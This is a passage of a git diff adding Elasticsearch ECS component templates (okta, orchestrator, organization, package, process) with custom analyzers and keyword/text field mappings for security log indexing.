+ "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "vlan": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "zone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + }, + "type": "object" + }, + "geo": { + "properties": { + "city_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "location": { + "type": "geo_point" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "postal_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timezone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "hostname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ingress": { + "properties": { + "interface": { + "properties": { + "alias": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "vlan": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "zone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + }, + "type": "object" + }, + "ip": { + "type": "ip" + }, + "mac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "os": { + "properties": { + "family": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "kernel": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "platform": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "product": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "serial_number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vendor": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/okta.json b/salt/elasticsearch/templates/component/ecs/okta.json new file mode 100644 index 000000000..3604f3bce --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/okta.json @@ -0,0 +1,609 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "okta": { + "properties": { + "actor": { + "properties": { + "alternate_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "display_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "authentication_context": { + "properties": { + "authentication_provider": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "authentication_step": { + "type": "long" + }, + "credential_provider": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "credential_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "external_session_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "interface": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "client": { + "properties": { + "device": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ip": { + "type": "ip" + }, + "user_agent": { + "properties": { + "browser": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "os": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "raw_user_agent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "zone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "debug_context": { + "properties": { + "debug_data": { + "properties": { + "device_fingerprint": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "request_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "request_uri": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "suspicious_activity": { + "properties": { + "browser": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_city": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_country": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_ip": { + "type": "ip" + }, + "event_latitude": { + "type": "float" + }, + "event_longitude": { + "type": "float" + }, + "event_state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_transaction_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "os": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timestamp": { + "type": "date" + } + } + }, + "threat_suspected": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "url": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "display_message": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "outcome": { + "properties": { + "reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "result": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "request": { + "properties": { + "ip_chain": { + "properties": { + "geographical_context": { + "properties": { + "city": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "geolocation": { + "type": "geo_point" + }, + "postal_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "ip": { + "type": "ip" + }, + "source": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "security_context": { + "properties": { + "as": { + "properties": { + "number": { + "type": "long" + }, + "organization": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "is_proxy": { + "type": "boolean" + }, + "isp": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "severity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "target": { + "type": "flattened" + }, + "transaction": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "uuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/orchestrator.json b/salt/elasticsearch/templates/component/ecs/orchestrator.json new file mode 100644 index 000000000..99d20dc00 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/orchestrator.json @@ -0,0 +1,154 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-orchestrator.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "orchestrator": { + "properties": { + "api_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cluster": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "url": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "namespace": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organization": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "resource": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/organization.json b/salt/elasticsearch/templates/component/ecs/organization.json new file mode 100644 index 000000000..0f782caf9 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/organization.json @@ -0,0 +1,76 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-organization.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "organization": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/package.json b/salt/elasticsearch/templates/component/ecs/package.json new file mode 100644 index 000000000..45aec5986 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/package.json @@ -0,0 +1,172 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-package.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "package": { + "properties": { + "architecture": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "build_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "checksum": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "install_scope": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "installed": { + "type": "date" + }, + "license": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "path": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "reference": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "size": { + "type": "long" + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/process.json b/salt/elasticsearch/templates/component/ecs/process.json new file mode 100644 index 000000000..a6b3cc61e --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/process.json @@ -0,0 +1,1124 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-process.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "process": { + "properties": { + "args": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "args_count": { + "type": "long" + }, + "code_signature": { + "properties": { + "digest_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "exists": { + "type": "boolean" + }, + "signing_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "team_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timestamp": { + "type": "date" + }, + "trusted": { + "type": "boolean" + }, + "valid": { + "type": "boolean" + } + } + }, + "command_line": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "text": { + "type": "match_only_text" + } + }, + "type": "wildcard" + }, + "elf": { + "properties": { + "architecture": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "byte_order": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cpu_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "creation_date": { + "type": "date" + }, + "exports": { + "type": "flattened" + }, + "header": { + "properties": { + "abi_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "class": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "data": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "entrypoint": { + "type": "long" + }, + "object_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "os_abi": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "imports": { + "type": "flattened" + }, + "sections": { + "properties": { + "chi2": { + "type": "long" + }, + "entropy": { + "type": "long" + }, + "flags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "physical_offset": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "physical_size": { + "type": "long" + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "virtual_address": { + "type": "long" + }, + "virtual_size": { + "type": "long" + } + }, + "type": "nested" + }, + "segments": { + "properties": { + "sections": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + }, + "type": "nested" + }, + "shared_libraries": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "telfhash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "end": { + "type": "date" + }, + "entity_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "executable": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "exit_code": { + "type": "long" + }, + "hash": { + "properties": { + "md5": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha1": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha256": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha512": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ssdeep": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "parent": { + "properties": { + "args": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "args_count": { + "type": "long" + }, + "code_signature": { + "properties": { + "digest_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "exists": { + "type": "boolean" + }, + "signing_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "team_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timestamp": { + "type": "date" + }, + "trusted": { + "type": "boolean" + }, + "valid": { + "type": "boolean" + } + } + }, + "command_line": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "text": { + "type": "match_only_text" + } + }, + "type": "wildcard" + }, + "elf": { + "properties": { + "architecture": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "byte_order": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cpu_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "creation_date": { + "type": "date" + }, + "exports": { + "type": "flattened" + }, + "header": { + "properties": { + "abi_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "class": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "data": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "entrypoint": { + "type": "long" + }, + "object_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "os_abi": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "imports": { + "type": "flattened" + }, + "sections": { + "properties": { + "chi2": { + "type": "long" + }, + "entropy": { + "type": "long" + }, + "flags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": 